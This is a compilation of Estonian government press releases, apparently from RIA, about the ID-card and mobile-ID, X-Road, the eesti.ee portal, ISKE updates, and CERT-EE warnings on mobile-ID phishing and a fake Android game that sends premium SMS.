Homme, 28. jaanuaril möödub kümme aastat päevast, mil väljastati esimene ID-kaart. Selle aja jooksul on välja antud ligikaudu 1,6 miljonit ID-kaarti.

Politsei- ja Piirivalveameti (PPA) teeninduskeskuse juhataja Tatjana Portnova sõnul näitab PPA infotelefonile saabunud kõnede statistika inimeste suuremat huvi ID-kaardi elektroonilise kasutamise vastu. “Võrreldes aastatetaguse ajaga on kordades kasvanud nende inimeste arv, kes kasutavad ID-kaarti igapäevaselt ning kes elu ilma selleta enam ettegi ei kujuta,“ ütles Portnova. „Infotelefonile helistajad küsivad tihti nõu dokumendi elektroonilise kasutamise kohta ning seda eriti enne valimisi, aga ka tuludeklaratsiooni esitamise ja näiteks praegu käimasoleva rahvaloenduse ajal,“ lisas ta.

„ID-kaart on inimese jaoks elektrooniline allkiri ja võti e-teenuste juurde. Elektrooniliselt kasutades annab ID-kaart võimaluse ajada asju just siis, kui kõige mugavam,” lausus Riigi Infosüsteemi Ameti asedirektor Kalle Arula. Ta rõhutas, et ID-kaardiga tehtud tehingutel on paberil antud allkirja või pangakontoris tehtud tehingu kaal. “Digiallkirja andes peab olema sama tähelepanelik, kui paberil võetud kohustustega. Tuleb meeles pidada, et ID-kaart on täpselt nii turvaline, kui turvaliselt seda kasutatakse.“

Eesti riigi partner ID-kaardi välja andmisel on Sertifitseerimiskeskus, kes väljastab riiklikele isikut tõendavatele dokumentidele (ID-kaart, elamisluba, digi-ID ja mobiil-ID) sertifikaate ning on loonud ka ID-kaardi kasutamiseks vajaliku baastarkvara ja töötanud välja DigiDoc tarkvara, mis võimaldab anda digitaalallkirju, kontrollida digitaalallkirjade kehtivust ning krüpteerida andmeid. Sertifitseerimiskeskuse juhi Kalev Pihli sõnul on ID-kaart positiivne edulugu nii Eestis kui ka mujal maailmas. „Kuigi see edulugu pole sündinud kergelt, on ID-kaardi kasulikkus tänaseks faktiliselt tõestatud,“ sõnas Pihl.

Selle aasta alguse seisuga on kehtiv ID-kaart ligi 1,2 miljonil inimesel, kellest umbes 85% on Eesti kodanikud ning 15% välismaalased. Kümne aasta jooksul on kokku antud 72,6 miljonit digiallkirja ning vähemalt korra on dokumenti elektrooniliselt kasutanud pea pooled ID-kaardi omanikud.

Esimesed 174 ID-kaarti anti pidulikult üle 28. jaanuaril 2002 Sakala keskuses, esimestena said dokumendi toonane Vabariigi President ja proua Ingrid Rüütel.

Lisainfo ID-kaardi kohta:
Ene Vihtla
pressiesindaja
Politsei- ja Piirivalveamet
Tel. 612 3154
ene.vihtla@politsei.ee

Lisainfo ID-kaardi elektrooniliste kasutusvõimaluste kohta:
Katrin Pärgmäe
kommunikatsioonijuht
Riigi Infosüsteemi Amet
Tel. 663 0233
katrin.pargmae@ria.ee

Aastateks 2007 - 2013 on EL vahendeid infoühiskonna arendamiseks 62,6 miljonit eurot. 2007 - 2011 korraldas Riigi Infosüsteemi Amet üheksa taotlusvooru ja viis investeeringute kava. Heaks kiideti ligi 200 projekti üldmahuga 52,8 miljonit eurot.

Toetuse saajatele maksti perioodi jooksul välja 40,8 miljonit eurot, millega on täidetud 77,3% heaks kiidetud projektide mahust. Toetust on saanud kohalike omavalitsuste, mittetulundusühingute, riigiautuste ja avalik-õiguslikud juriidiliste isikute esitatud projektid.

Eriti suures mahus toetas SF informatsiooni digitaalsele kujule viimise ehk digitaliseerimise projekte. Ainuüksi Rahvusarhiivil on üheksa projekti (3,3 mln eurot), millega tehakse inimestele võimalikuks ligipääs vanadele Filmiarhiivi originaalvideote ja filmide kasutuskoopiatele ning nitroalusel kroonikafilmidele, Rahvusarhiivi kaartidele ja plaanidele ning fotonegatiividele ja diapositiividele, samuti Rahvusarhiivi, Tallinna Linnaarhiivi ja Eesti Ajaloomuuseumi pärgamendikollektsioonidele.

2011. aastal tõmmati joon alla ligi sajale projektile. Suuremahulised tööd (3,5 mln eurot) lõppesid 2011. aastal lairiba internetiühendust võimaldavate fiiberoptiliste sideühenduste loomisel, millega parandati e-teenuste kättesaadavust Virumaal, Kesk- ja Lõuna Eestis.

26. jaanuaril kell 13.00 – 16.00 toimub avalik m-ID turvateemasid käsitlev seminar „m-ID - minevik, olevik, tulevik“.

Riigi Infosüsteemi Ameti infoturbeintsidentide käsitlemise osakonna (CERT) korraldatud seminar toimub Rahvusraamatukogu suures saalis. Üritus on tasuta, vabatahtlik eelregistreerumine toimub RIA Facebook lehel.

Eesti on jõudmas omapärasesse otsustuspunkti, kus tehniliselt oleks võimalik m-ID omadusi oluliselt enam ära kasutada. On täiesti selge, et m-ID ja mobiiltelefoni kooslus avab täiesti uued tehnilised võimalused. Me saaksime Eestis teha asju, mis pole veel võimalikud kusagil maailmas. Kuid, kui kõrge nende oleks lahenduste turvatase?

ID-kaardi kõrge turvalisuse üks põhjuseid on tema füüsiline eraldatus arvutist. Pahavara ei saa ID-kaarti inimese teadmata kasutada, kuna see võetakse füüsiliselt lugejast välja. Ka m-ID puhul on tegu kahe eraldi seadmega - protsess algab arvutist, aga lõpule viiakse mobiilseadmes.

Eraldi teemana on tekkinud m-ID turvalisuse ühe põhinõude - second channel'i ehk teise kanali - kaotsiminek mobiilseadmes. Nutitelefonis e-teenuse kasutamine ja samal ajal m-IDga sisse logimine on väga mugav, aga tekitab täiesti uue turvariski - teenuse kasutamine ja inimese autentimine toimub samas seadmes.

Mõistes, et edasisteks arenguteks on vaja ühiskondlikku lepet või vähemalt ohutude avalikku arutelu, otsustasime tulla teemapüstitusega avalikkuse ette, mitte kaaluda turvariske tagatoavaikuses.

Teemadering (täpsustub viimase hetkeni):
* m-ID ajalugu. Miks see üldse tehti ja milleks? Kuidas ja kes tegi? Enne ja pärast 01.02.2011.
* Miks on vaja teist kanalit - teooria, nõuded, teostus
* Mis on m-ID ja milleks ta on hea? M-ID analüüs praktikutelt.
* Äri, mida saab teha või saaks teha kui …

Esmased kokkulepped esinejatega:
* Tarvi Martens (SK)
* Kalev Pihl (SK)
* Lauri Läheb (EMT)
* Peeter Laud (AS Cybernetica)
* Rein Süld (Sampo Bank / Danske Bank)
* Anto Veldre (CERT-EE)
* Esinejate nimekiri täieneb.

Seminari lõpus on ringarutelu „Mis saab m-ID'st“? Ringarutelu toimub paneelis, kuid kuulajaskond võib sekkuda.

P.S. Rahvusraamatukogu puhvet töötab, igaüks saab saiakesi ja kohvi osta.

Viimastel päevadel on paljud mobiil-ID kasutajad avastanud, et mobiil küsib neilt autentimiseks luba ilma, et nad sooviksid ennast tegelikult kuhugi sisse logida.

RIA infoturbe ekspert Triin Niguli sõnul on tehnoloogia häkkimisest sageli lihtsam kasutajate trikitamine (ingl social engineering). „On põhjust meelde tuletada, et iga IT-seade on ainult nii turvaline, kui turvaliselt seda kasutatakse. Loomulikult leitakse tehnilistes süsteemides turvanõrkusi, kuid vigade parandamisega muutuvad süsteemid ka järjest turvalisemaks. Samas jääb autentimisel alati alles hetk, mil inimene peab enda isikut PINiga tõestama. Kasutades osaliselt ära öist aega ja inimeste unisust, saadeti mitmetele kasutajatele palve end autentida.“

„Oleme pisut mures, sest käesoleva juhtumi puhul on õngitsuskatsest teatanud suhteliselt vähe inimesi. See osutab, et m-ID turvamehhanismi kuritarvitamist ei tunnetata ohuna. Tahame hoiatada uudishimulikke, kes viimaste uudiste valguses otsustavad omal käel erinevaid m-ID portaale testida ja võõrastele isikutele autentimiskutseid saata - palun ärge seda tehke. Piir süütu nalja ja tõsise teo vahel võib osutuda õhukeseks ning pärast autentimiskutse saatmist ei ole seda enam võimalik tagasi võtta“, lisas Nigul.
 

Probleemide või kahtluste korral saavad kasutajad helistada ID-kaardi toe telefonile 1777.

Kasutajaid trikitavatel rünnetel on sageli üks sarnane joon – inimesel palutakse teha midagi, milleks ta ise pole soovi avaldanud. Näiteks ei ole võimalik võita loteriil, kus kasutaja teadlikult osalenud ei ole, kuigi paljud rämpskirjad seda väidavad. Sama kehtib ka m-ID ründe puhul – kui inimene ise ei soovi ennast sisse logida, siis ei tohi enda PINi anda.

Viimasel ajal on populaarsust kogumas ka suhtlusvõrgustike petuskeemid, kus üle võetud kontot kasutades küsitakse inimestelt raha või palutakse klikkida lingile, mis järgmise kasutaja nakatab.

Eelinfoks ajakirjanikele - RIA korraldab jaanuari viimastel päevadel avaliku m-ID teemalise konverentsi, kus arutletakse m-ID arengute üle laiemalt. Jutuks tulevad m-ID edasised võimalused, teadaolev turvaprobleemistik ning ka idee kasutada m-ID kaarti valimistel. Lisainfo ilmub selle nädala jooksul meie kodulehele www.ria.ee

CERT Eesti (Computer Emeregency Response Team) on RIA osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

ISKE versioonis 6.00 muutusid rakendusjuhend ja auditi juhend. ISKE rakendusjuhendis uuendati katalooge ja turvaspetsifikatsioone, auditi juhendi versioonis 1.3 täpsustati järelauditi ja kordusauditi tellimist.

Rakendusjuhendisse lisandusid mitmed moodulid (nt Windows Vista, Virtualiseerimine, DNS server jt) ning turvameetmete ja ohtude kirjeldused. Muuhulgas uuendati kodukeskjaama (PBX), virtuaalset privaatvõrku (VPN), rühmatarkvara, veebiservereid ning kaugtööd käsitlevaid mooduleid. Lisaks on oluliselt muudetud, uuendatud ja täiendatud ISKE H turbeastme katalooge, mille koostasid Eesti IT-spetsialistid.

Tähtsaimad muutused:

• lisandus ISKE rakendamise 11. samm, mis kohustab ISKE rakendajat viima sisse muudatuste ja konfiguratsioonihalduse protsessi,
• kaotati absoluutsuse nõue,
• käideldavuse arvutamine muutus protsendipõhisest tundide/minutite põhiseks. 

Uuendused tulenesid BSI etalonsüsteemis tehtud muudatustest.

ISKE uue versiooni dokumendid

Täna, 16. detsembril tähistab kümnendat sünnipäeva Eesti e-riigi alustala ja selgroog, andmevahetuskiht X-tee. Lahenduse kaudu jõuavad inimesteni turvalisel moel kõik riigi e-lahendused ja erasektori olulisemad e-teenused.

Majandus- ja kommunikatsiooniministeeriumi kantsler Marika Priske sõnul paistab Eesti rahvusvaheliselt silma sellega, et suutsime e-riiki arendades teha mõistlikke otsuseid. „Kui tagasi vaadata, siis kümme aastat tagasi tähendas e-riik seda, et info viidi paberilt arvutisse. Täna oleme võimelised lahendusi vaatama kodaniku või ettevõtja seisukohalt ja arendama teenuseid, mis on loodud nende huvisid silmas pidades“.

Riigi Infosüsteemi Ameti peadirektor Jaan Priisalu: „Kui riik ei ole rikas, siis ta peab olema kaval. Põhjus, miks lõime nii paindliku süsteemi ja miks Eestis on palju e-teenuseid, on vajadus riiki efektiivselt valitseda. Tahan tänada kodanikke, et nad on usaldanud oma andmed internetti ja arvan, et X-tee on üks põhjus, miks Eestis e-teenuseid usaldatakse.“

Majandus- ja kommunikatsiooniministeeriumi (MKM) riigi infosüsteemide osakonna juhi Margus Püüa sõnul on X-tee eriline süsteem: „Infot vahetatakse erinevate infosüsteemide vahel viisil, et andmeid ei rikuta, need ei kao ega leki. Andmete saamise fakt on hiljem suvalisel ajal tõestatav. X-tee töötab – kogu aeg, igas asutuses ja üle Eesti.“

Piduliku sünnipäevaseminari Swissôtelis avavasid Majandus- ja Kommunikatsiooniministeeriumi kantsler Marika Priske, MKMi riigi infosüsteemide osakonna juht Margus Püüa ja Riigi Infosüsteemi Ameti peadirektor Jaan Priisalu.

Taustaks: Inimestele e-teenuste pakkumiseks peavad infosüsteemid omavahel suhtlema, sest teenus pannakse kokku erinevatest andmetest. Eesti riigi infosüsteem on hajusalt üles ehitatud, selles on eri tehnoloogilistel platvormidel ja eri aegadel loodud andmekogusid. Riigi- ja erasektori asutused saavad oma infosüsteemi X-teega liita, et pakkuda selle kaudu e-teenuseid.

X-tee sünnipäevaseminari kava:
10.00–10.45 Sünnipäeva sõnavõtud ja X-tee X sünnipäeva tähistamine

11.05–11.50 I sessioon
X-tee tänane roll ja tulevikusuunad
* X-tee mujal maailmas
* X-tee kontseptuaalsetest muudatusest, millisena X-teed pikemas perspektiivis nähakse, kas ja milliseid muudatusi on vajadus teha?
* Miks ja kuidas X-teed uuendatakse

12.05–13.20 II sessioon
X-tee haldus
* X-teega liitumine, X-tee haldus ja teenuste kvaliteet
* X-tee teenuste integreerimine erinevate infosüsteemidega
* X-tee teenuste testimisest

X-tee uued suunad teadusuuringutes
* Uute teenuste automaatne genereerimine
* Teenuste turvalahenduste täiustamine

CERT Eesti leidis sel nädalal nutitelefonides pahavara, mis ründas Eesti kasutajaid. Populaarse Androidi mängu nime all töötav pahavara saadab kasutaja teadmata tasulisi SMSe.

RIA infoturbe ekspert Tarmo Randeli sõnul on viimasel ajal on üha rohkem liikvel pahavara, mille sihtmärk on nutitelefonid. “Nutitelefonidest on hetkel kõige lihtsam rünnata Androidi platvormi, mille turvalahendus on kasutaja vaatevinklist vaadates pehmelt öeldes ebaõnnestunud.”

“Androidi tarkvaraga on kaks suurt muret. Esiteks, rakendust paigaldades küsitakse inimeselt raskesti mõistetavaid küsimusi, millest arusaamine on jõukohane pigem insenerile kui keskmisele nutitelefoni kasutajale. Teiseks ei kontrolli keegi kasutajateni jõudvate lahenduste kvaliteeti või turvalisust. Nii on Google Android Market väga hea võimalus pahavara levitamiseks.”

Üks võimalik stsenaarium:
Android Marketisse pannakse alla laadimiseks populaarse nimega mäng või taustapildi rakendus, antud juhul “Angry Birds FREE”. Kui kasutaja selle alla laeb, siis paigaldamise käigus küsib mäng õigust kirjutada mälukaardile ning kasutada internetti. Inimesed ei oska paha karta ja annavad mängule küsitud õigused. Nad ei tea, et jaatavalt vastamine annab rakendusele õiguse kirjutada mälukaardile internetist laetud lisaprogrammi ja see käima panna. Tavaliselt teeb seda pahavara, näiteks “Angry Birds FREE”, mille levitaja on Logastrod, mitte mängu ametlik omanik Rovio.

Probleemid:
- Tehniliste otsuste tegemist ei saa jätta lõpptarbijale. Esiteks ei ole võimalik õpetada kõiki kasutajaid aru saama inseneride loodud küsimustest. Teiseks, pahavara loojad suudavad trikitada kasutajat pahavarale jah-sõna andma.
Näiteks küsitakse keset mängu luba saata üks SMS kasutaja superkõrge punktiskooriga kuskile portaali, millele inimesed vastavad reeglina jaatavalt. SMSi hinda (3,5 EUR) ei pruugita mainida, või siis viidatakse kasutustingimustele.
- Kasutajad ei loe lehekülgede pikkusi kasutustingimusi.
- Androidi rakenduste turule saab igaüks laadida oma rakenduse. Keegi ei kontrolli, mida rakendus tegelikult teeb.

Mida saab teha:
- Kasutaja saab valida, kas ta lubab rakendusel midagi teha. Seni nõuavad pea kõik ründed kasutaja lubavat liigutust. Oluline on mõelda, kas mängul või taustapildil on ikka vaja ligipääsu minu kontaktidele või SMSidele?
- Antud juhul saadeti SMS tasulisele numbrile 17013. Teenusepakkujad saavad piirata enda võrkudes pettusega raha teenivaid sisuteenuste pakkujaid.

Veel samal teemal:
http://www.f-secure.com/weblog/archives/00002280.html
http://www.droidgamers.com/index.php/game-news/android-game-news/2777-psa-beware-of-logastrod-and-their-cloned-games-they-contain-malware

CERT Eesti (Computer Emeregency Response Team) on RIA osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

Eelmisel nädalal registreeriti riigi infosüsteemi haldussüsteemis (RIHA) Triogames OÜ elektrooniline arvestus- ja kontrollsüsteem vähem kui 1,5 tunniga.

Triogames OÜ tegeleb hasartmängude korraldamisega ja on kohustatud liidestama oma elektroonilise arvestus- ja kontrollisüsteemi Maksu- ja Tolliameti infosüsteemiga. Liidese kaudu hakatakse edastama maksuarvestuse ja järelevalve teostamiseks vajalikke andmeid. Liidestus toimub riigi infosüsteemi turvalise andmevahetuskihi X-tee kaudu. Lähemal ajal seavad taolise liidestuse endale sisse kõik hasartmängude korraldajad.

Erasektori suhtlemine riigiasutustega üle masinloetavate elektrooniliste kanalite on maailmas aktuaalne trend. Eestis on andmevahetuskihi X-tee kaudu riigiga andmeid vahetavaid ettevõtteid praegu 20–30, kuid oodata on selle arvu kasvu.

X-teele juurdepääsude avamiseks tuleb riigi infosüsteemiga liidestuval ettevõttel kirjeldada oma süsteemi liides RIHAs ja läbida registreerimise menetlus. See on vajalik, et hoida X-tee liikluse kõrget usaldatavust ja turvataset. Kirjeldamine on tehtud lihtsaks. Maksu- ja Tolliamet avaldas X-teega liidestumise tehnilise spetsifikatsiooni. RIA spetsialistid koostasid RIHAs kirjeldamise samm-sammulise juhendi, mis võimaldab ettevõttel kiirelt sisestada vajalikud andmed. Selle eesmärk on hoida kirjeldamiskoormus minimaalsena ja menetlus ettevõtetele arusaadavana.

X-teed ja RIHA haldava RIA eesmärk on pakkuda taristut riigi ja ettevõtete elektrooniliseks suhtluseks, tehes suhtlemise mugavaks ja aega kokkuhoidvaks.

Sel nädalavahetusel jõudis kasutajate ette põhjalikult uuenenud riigiportaal eesti.ee. Riigiasutuste teenuseid, infot ja kontakte koondav portaal sündis kodanike tagasiside põhjal, uuenesid nii ülesehitus kui kujundus.

Portaali juht Aarne Seppel: „Portaali uuendamine algas juba kaks aastat tagasi, kui uurisime kasutajate käest, millisena nad portaali näha tahavad. Tänaseks oleme portaali arendamisel suure töö ära teinud, nüüd on jäänud veel viimane etapp - koos kasutajatega soovime riigiportaali lõplikult tööle häälestada. Pärast uue eesti.ee avalikustamist oleme valmis kolmekuuseks perioodiks, kus kuulame inimeste tagasisidet ja anname portaalile viimase lihvi“. Kasutajad saavad tagasisidet saata otse portaalist kasutades nuppu „Kirjuta ja küsi“ või e-postiga aadressil help@ria.ee.

„Portaal peab olema tehniliselt turvaline ja mugav kasutada, kuid tema tõeline väärtus peitub sisus. Uude portaali oleme koondanud enam kui 200 teenust, 400 artiklit ja 2500 kontakti. Kaks olulisemat muudatust on info otsimine ja kasutaja isiklike asjade kaust,“ lisas Seppel.

1. Info otsimine
Uuendatud riigiportaali esimene oluline muudatus on info lihtsam leidmine - artiklid, teenused ja kontaktid on omavahel paremini seotud. Nii teemad kui teenused on menüüdes jaotatud suuremateks valdkondadeks, nt „Toetused ja sotsiaalabi“, „Eluase“, „Perekond“ jne. Kui mõne valdkonna alla käib väga palju artikleid, siis on need jaotatud omakorda väiksemateks rubriikideks.

Vajaliku info ja teenuste leidmiseks on kõige mugavam ja kiirem kasutada otsingut. Otsingu vastuste leht jagab vastused samuti teemadeks, teenusteks või artikliteks. Populaarsemaid teenuseid ja teemasid on mugav leida ka avalehel olevast märksõnapilvest. Pilves olevale sõnale klikkides näidatakse kõiki artikleid ja teenuseid, mille otsing selle sõnaga seoses leidis.

Aarne Seppeli sõnul on kasutajate tagasiside oodatud kogu portaali kohta. „Eriti ootame aga infot, mis aitab meil otsingu paremaks teha. Portaali toimetajad lisasid ametlike ja sageli bürokraatlike nimetuste leidmiseks kõnekeelseid märksõnu, et info ja teenused oleksid võimalikult hästi leitavad (nt emapalk, sinine leht). Järgneva kolme kuu jooksul palume kasutajate abi, et koguda võimalikult palju selliseid märksõnu, mida teenustele ja artiklitele lisada.“

2. Minu asjad
Teine olulisem uuendus on kasutaja isiklike asjade kaust – „Minu asjad“. Siia on koondatud kõik kasutajaga seotud rakendused ja dokumendid. Inimestele on juba tuttavad e-post, teavituskalender, teavituste tellimine mobiilile või lemmiklinkide haldamine.

Uus teenus on „Minu dokumentide“ kaust, kus kasutaja saab luua dokumente, neid allkirjastada ning jagada teistele allkirjastamiseks või saata vajalikku asutusse. Siit leiab endise digitaalallkirja rakenduse, millele on lisandunud palju uusi võimalusi. Pärast ametiasutusele kirja saatmist ei pea kasutaja käima iga päev kontrollimas, kas vastus on tulnud - portaal saadab inimese ametlikule e-postile teate selle kohta, et vastus on saabunud.

Kuna „Minu asjad“ on uus keskkond, siis on kasutajale abiks väikesed küsimärgid, millele klikkides avaneb lühike selgitav tekst.

Taustainfo:
Riigiportaal eesti.ee sündis 2007. aastal Teabeportaali ja Kodanikuportaali ühendamisel. 2007. aastal külastati portaali 218 000 korda, 2010. aastal juba 2,7 miljonit korda. 2011. aasta jooksul on portaali külastusi kogunenud 3,2 miljonit.

Portaali populaarsemad teenused on elukohateate ja vanemahüvitise taotluse edastamine, oma andmete kontroll riiklikest registritest, politsei e-teenused ning Euroopa ravikindlustuskaardi taotlemine.

Riigi Infosüsteemi Ameti peamised partnerid riigiportaali uuendamisel olid Trinidad, Webmedia ja Monit Solutions. Riigiportaali uuendamist toetatakse Euroopa Liidu struktuurifondidest.

Jooksvat infot Eesti.ee kohta näeb meie Facebook'i kontolt.

Sertifitseerimiskeskuse lehelt https://installer.id.ee saab alla laadida uuendatud ID-kaardi tarkvara.

Tähtsaimad uuendused versioonis 3.5:

1) Windows 7 ja Vista puhul paigaldatakse Minidriver - ID-kaardiga autentimisel kasutatakse Windows’i keskkonnas Minidraiverit, mis muudab digitaalse isikutuvastamise töökindlamaks. Muutunud on ka Windows Vista’s ja 7’s autentimisel esinev sertifikaati ja PIN1-koodi küsivad dialoogi aknad (Internet Explorer ja Google Chrome).

2) Lisati BDOC funktsionaalsus (võimalus valida allkirjastatava dokumendi formaat). Siiski soovitame hetkel  kasutada DDOC vormingut, kuna paljud infosüsteemid ei oska veel BDOCi kasutada ega lugeda.

3) Lisatud sertifikaatide automaatse eemaldamise funktsionaalsus (Windows).

Lisaks parandati mitmed varem tarkvaras esinenud probleemid.

ENISAlt ilmusid turvateadlikuse teemalised videod, mida asutuste turvajuhid saavad kasutada enda asutuses turvalise käitumise meeldetuletamiseks. Videod on eestikeelsed.

­Arvuti ekraanilukk tuleb arvuti tagant lahkudes aktiveerida.

Ära lase kõrvalistel isikutel arvuti ekraanipilti ja klaviatuuril sisestatut jälgida.

Ära jäta oma vara järelvalveta.

Kasuta turvalist parooli kombineerides piisaval arvul suur ja  väiketähti, sõnu, numbreid, erimärke. Ära kasuta parooliks oma lemmikooma või laste nimesid, telefoninumbreid, sünniaegu, aadresse jms.

Hoia oma paroole turvaliselt!

Ära asjatult trüki välja konfidentsiaalseid materjale.

Kaitse oma mälupulka, mälukaarti, välist kõvaketast jms mobiilset mälukandjat ja ära jäta neid vedelema.

Lisaks, kaitse end ka pangaautomaadi või poeleti juures ja varja oma pangakaardi PINi.
 

Videoid saab alla laadida siit. 

Novembri lõpus jõuab kasutajate ette põhjalikult uuendatud ja vanast oluliselt erinev riigiportaal eesti.ee. Sel puhul kutsume avaliku sektori asutuste juhte, IT-juhte ja IT-spetsialiste reedel, 2. detsembril Swissôtel Tallinn konverentsikeskusesse teabepäevale "Riigiportaal - uus uks e-riiki".

Teabepäeval tutvustame uuenenud riigiportaali võimalusi ning räägime, mis ja miks kasutajate jaoks muutus. Ettekannetes tuleb näiteks juttu ametlike dokumentide infrastruktuuri teenuse (ADIT) rollist, olemasolevate lahenduste (ID-kaardiga sisselogimine, teavitusteenus, e-post, SMS jms) kasutamise võimalustest uute teenuste loomisel. Päevaprogramm on leitav  RIA veebis koolituskalendris (http://www.ria.ee/tark-e-riik-2011).

Teabepäev on tasuta ja sellel osalemiseks palume end registreerida hiljemalt 25. novembril siin.

Infopäev toimub koolituste sarjas "Tark e-riik" Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames, mida rahastab Euroopa Regionaalarengu Fond. Päeva viib läbi BCS Koolitus AS.
 

Sel nädalal alustas tööd RIA järelevalve osakond, mille ülesanne on jälgida riigi ja erasektori oluliste infosüsteemide turvalisust. Osakonna juhiks sai Epp Maaten.

„Järelevalve käivitamisel on rõhk nõustamisel ja ennetaval tegevusel, mitte niivõrd rikkumiste avastamisel. Järelevalve teeb keerukaks IT-valdkonna eripära, et kõik muutub kiiresti, regulatsioonid on üldised ja annavad palju tõlgendamisruumi. Oluline on aidata avaliku sektori asutusi ja erasektori elutähtsate teenuse pakkujaid õigusaktidest tulenevate nõuete selgitamisel ja parimate praktikate juurutamisel,“ ütles Epp Maaten.

Enne sisulise töö alustamist seisab ees järelvalve meeskonna komplekteerimine, esimesed konkursid kuulutab RIA välja novembrikuu jooksul.

RIA osakond teeb järelvalvet riigi ja kohaliku omavalitsuse asutuste ja elutähtsaid teenuseid pakkuvate erafirmade infosüsteemide turvalisuse üle. Osakond kontrollib, kas süsteemid vastavad hädaolukorra seaduses ja avaliku teabe seaduses nõutule.

Osakonna juhataja Epp Maaten töötas siiani RIA kriitilise informatsiooni infrastruktuuri kaitse osakonnas (KIIK). KIIK tegeleb Eesti riigi toimimise seisukohast oluliste avaliku ja erasektori infosüsteemide kaitse korraldamisega üleriigilisel tasemel. Varem on Epp töötanud Riigikontrollis audiitorina ja Riigikogu Kantseleis valimiste osakonna nõunikuna.

Eelmisel suvel käivitunud Riigi Infosüsteemi Ameti ümberkorraldamise üks eesmärk oli suurendada Eesti võimekust tagada küberturvalisus. Riik on juba kehtestatud hulga nõudeid ja juhiseid turvalisuse tagamiseks, järelevalve nendest kinnipidamise üle vajab aga tugevdamist.

Riigi Infosüsteemi Ameti ülesanne on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Epp Maateni pildi saab alla laadida siit.

26. novembril jõuab kasutajate ette põhjalikult uuendatud riigiportaal eesti.ee, mis valmis kasutajate tagasiside põhjal ja on vanast riigiportaalist oluliselt erinev.

RIA peadirektori asetäitja Kalle Arula sõnul algas portaali põhjalik uuendamine kasutajate arvamuste uurimisega. „Küsisime kõigepealt inimeste soove ja tagasisidet olemasolevale riigiportaalile. Seejärel analüüsisime tagasisidet ja uurisime võimalusi muuta mahukas portaal kasutajatele võimalikult mugavaks. Sel moel portaali uuendamine võttis küll rohkem aega, kuid loodame, et koos kasutajatega saime portaali, mida on lihtsam kasutada.“

Uuendatud riigiportaali esimene oluline muudatus on info kiirem leidmine. Portaalis on artiklid, teenused ja kontaktid nüüd omavahel paremini seotud. Iga teenuse juures on selle sisu selgitav tekst, viited artiklitele, kontaktandmetele, seotud õigusaktidele ja muule olulisele infole.

Teine uuendus on kasutaja isiklike asjade menüü – „Minu asjad“. Uue võimalusena on portaalis „Minu dokumentide“ kaust, kus kasutaja saab luua dokumendi, selle allkirjastada ning saata see otse vajaliku asutuse dokumendiregistrisse. „Minu dokumentidesse“ saabuvad ka ametiasutuste vastused saadetud taotlustele, avaldustele, päringutele jne.

Minu asjade alla on koondatud ka juba tuttavad rakendused, nagu e-post, teavituskalender, enda registreeritud elukohaandmete vaatamine, SMS-teavituste tellimine, lemmiklinkide haldamine ja kümne viimati kasutatud teenuse vaatamine.

Videot uuendatud eesti.ee lühitutvustusega saab vaadata siit.

Riigiportaali uuendamist toetatakse Euroopa Liidu struktuurifondidest.

Euroopa Liidu värske uuringu järgi on Riigi Infosüsteemi Haldussüsteem (RIHA) liikmesriikide metaandmete varamute seas viieastmelise küpsusmudeli (maturity model) järgi kõrgel neljandal tasandil (open reusable metadata). Ainult kaks riiki on nii kõrgele jõudnud, lisaks Eestile ka Tšehhi.

RIHA osakonna juhataja Aili Ilvese sõnul on Euroopa Liidus piiriüleste avalike e-teenuste arendamine oluline ja selle eeldus on kvaliteetsed metaandmed. „Kui näiteks Portugali kodanikul tekib vajadus Eestis oma elamist, tööd või ettevõtlust korraldada, siis peab infot saama ka kohale sõitmata. See eeldab erinevate Euroopa riikide infosüsteemide sujuvat koostööd ja uute avalike teenuste väljaarendamist. Selle jaoks peab aga teadma metaandmeid ehk seda, millised andmed on olemas ja kust neid leida võib. Samuti on vaja mõistete, terminite ja andmestruktuuride ühtlustamist. Näiteks lahter „perekonnaseis“ võib Belgias ja Eestis mõnevõrra erineda, seda nii mõiste sisu kui tehnilise esituse poolest. Infosüsteemide omavahelises suhtluses ei tohi olulised tähendused kaotsi minna. Teadmine teistes liikmesriikidest tehtud süsteemidest on oluline ka selleks, et „ratast uuesti ei leiutataks“,“ selgitas Ilves.

Teine oluline suund on avaliku sektori andmete avamine (open data). Riigi andmete kättesaadavaks tegemiseks tuleb esmalt kättesaadavaks teha metaandmed.

Metaandmete varamud on loodud mitmetes EL liikmesriikides. Eesti avaliku sektori metaandmete varamu on Riigi infosüsteemi haldussüsteem RIHA. Varamusse on koondatud Eesti avaliku sektori kõigi e-teenuste, infosüsteemide ja andmebaaside tehnilised kirjeldused ja info, mille abil suudavad süsteemid omavahel andmeid vahetada.

„Täname kõiki riigi infosüsteemide haldajaid, kelle esitatud andmed aitasid meil nii kaugele jõuda. Riigi Infosüsteemi Amet soovib hea koostöö jätkumist riigi infosüsteemide haldajatega, sest piiriüleste teenuste arendamise eeldus on kvaliteetsed metaandmed“, lisas Ilves.

Euroopa Liit on alustanud metaandmevaramute liidestamise taristu väljatöötamist. Eestit esindab selles töös Riigi Infosüsteemi Amet. Projekti esimene eesmärk on leppida kokku metaandmete kirjeldamise ja vahetamise ühtne tehniline keel. Seejärel on plaanis metaandmevaramud üksteisega suhtlema panna.

Alates sellest nädalast on huvilistele kättesaadav "Aadressiandmete käsiraamat", kuhu Maa-amet koondas suure hulga teavet Eesti kohanimede ja aadressiandmete kohta. Käsiraamat aitab tagada, et Eesti elanike aadressid oleksid kõigis andmebaasides täpsed ja näiteks päästjad jõuaksid ohuolukordades kiiresti inimesteni.

"Käsiraamat on mõeldud juhendina eelkõige kohalike omavalitsuste ametnikele, kes tegelevad kohanimede ja koha-aadresside määramise ja registreerimisega. Kindlasti on see abiks ka päästeameti, politsei- ja kiirabitöötajatele," ütles Maa-ameti aadressiandmete osakonna juhataja kt Mall Kivisalu. "Aga kasulikku teavet leiavad siit kõik huvilised, sest tegu on Eesti mahukaima aadressisandmete ülevaatega."

